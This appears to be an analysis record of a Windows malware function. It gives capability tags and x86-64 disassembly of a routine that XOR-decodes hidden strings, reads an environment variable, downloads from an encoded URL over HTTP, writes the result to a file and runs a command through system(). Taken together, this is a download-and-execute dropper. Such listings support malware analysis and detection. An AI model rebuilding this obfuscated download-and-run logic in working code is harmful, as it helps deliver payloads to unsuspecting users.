Function at 0x1400128a8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command
Query environment variable

Disassembly:
mov qword [rsp + 8], rsi
push rbp
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x1400a0280]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov cl, socket
mov dword [rbp + 0x60], 0x667b6216
mov dword [rbp + 0x64], 0x736e7338
xor eax, eax
mov byte [rbp + 0x68], al
xor byte [rbp + rax + 0x61], cl
inc rax
cmp rax, 7
jae 0x1400128f5
mov cl, byte [rbp + 0x60]
jmp 0x1400128e3
mov byte [rbp + 0x68], 0
lea rax, [rbp + 0x61]
mov qword [rbp + 0xc0], rax
xor r8d, r8d
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x100]
call fcn.140003550
nop
mov cl, 0x5b
mov dword [rbp + 0x50], 0x363e2f5b
mov word [rbp + 0x54], 0x2b
xor eax, eax
xor byte [rbp + rax + 0x51], cl
inc rax
cmp rax, 4
jae 0x14001293e
mov cl, byte [rbp + 0x50]
jmp 0x14001292c
mov byte [rbp + 0x55], 0
lea rcx, [rbp + 0x51]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rbp + 0xc0], rax
xor r8d, r8d
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.140003550
nop
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xe0]
call fcn.140012848
nop
lea rcx, [rbp + 0x90]
call fcn.14001d628
nop
lea rcx, [rbp + 0x100]
call fcn.14001d628
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 7
cmova rax, qword [rbp + 0xe0]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0xc8], rax
movaps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x70]
call fcn.140003644
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rcx, [rsp + 0x40]
call fcn.14000ddb8
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
mov esi, 0x1000
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140012a86
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, rsi
jb 0x140012a81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012a81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
movdqa xmm0, xmmword [0x1400823d0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
lea rcx, [rsp + 0x38]
call fcn.140028c58
nop
movdqa xmm0, xmmword [0x140082590]
movdqu xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [0x1400825e0]
movdqu xmmword [rbp + 0xa0], xmm1
mov dword [rbp + 0xb0], 0x3c797524
mov dword [rbp + 0xb4], 0x763d7764
mov word [rbp + 0xb8], 0x766b
xor eax, eax
mov byte [rbp + 0xba], al
xor ecx, ecx
mov al, byte [rbp + 0x90]
xor byte [rbp + rcx + 0x91], al
inc rcx
cmp rcx, 0x29
jb 0x140012aec
mov byte [rbp + 0xba], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rbp + 0x91]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012b26
lea rdx, [rbp + 0x91]
lea rcx, [rbp + 0x70]
call fcn.140002c64
nop
lea rax, [rbp + 0x70]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x90]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x100]
call fcn.14000d644
lea rax, vtable.cpr::Url.0
mov qword [rbp + 0x100], rax
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x38]
call fcn.140029d04
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x140012bc4
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, rsi
jb 0x140012bbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012bbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
movdqa xmm0, xmmword [0x1400823d0]
movdqu xmmword [rbp + 0x118], xmm0
mov byte [rbp + 0x108], 0
lea r9, [fcn.140010e08]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x70]
call fcn.14007a8a8
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x130]
lea rcx, [rsp + 0x38]
call fcn.140029510
lea rcx, [rbp + 0x130]
call fcn.1400119c0
lea rcx, [rsp + 0x48]
call fcn.14001dc6c
test rax, rax
jne 0x140012c43
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 7
cmova rax, qword [rbp + 0xe0]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xc0]
call fcn.140003644
nop
mov cl, 0x67
mov dword [rbp + 0x50], 0x6131467
mov dword [rbp + 0x54], 0x471315
xor eax, eax
xor byte [rbp + rax + 0x51], cl
inc rax
cmp rax, 6
jae 0x140012cac
mov cl, byte [rbp + 0x50]
jmp 0x140012c9a
mov byte [rbp + 0x57], 0
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0x70]
call fcn.140002158
cmp qword [rax + 0x18], 0xf
jbe 0x140012cce
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140012d14
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, rsi
jb 0x140012d0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012d0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
movdqa xmm0, xmmword [0x1400823d0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140012d69
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, rsi
jb 0x140012d63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012d63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
nop
lea rcx, [rsp + 0x38]
call fcn.1400290b0
nop
lea rcx, [rsp + 0x40]
call fcn.1400147c0
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 7
jbe 0x140012dc4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, rsi
jb 0x140012dbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012dbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9b4
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.14007ae30
mov rsi, qword [rsp + 0x380]
add rsp, 0x370
pop rbp
ret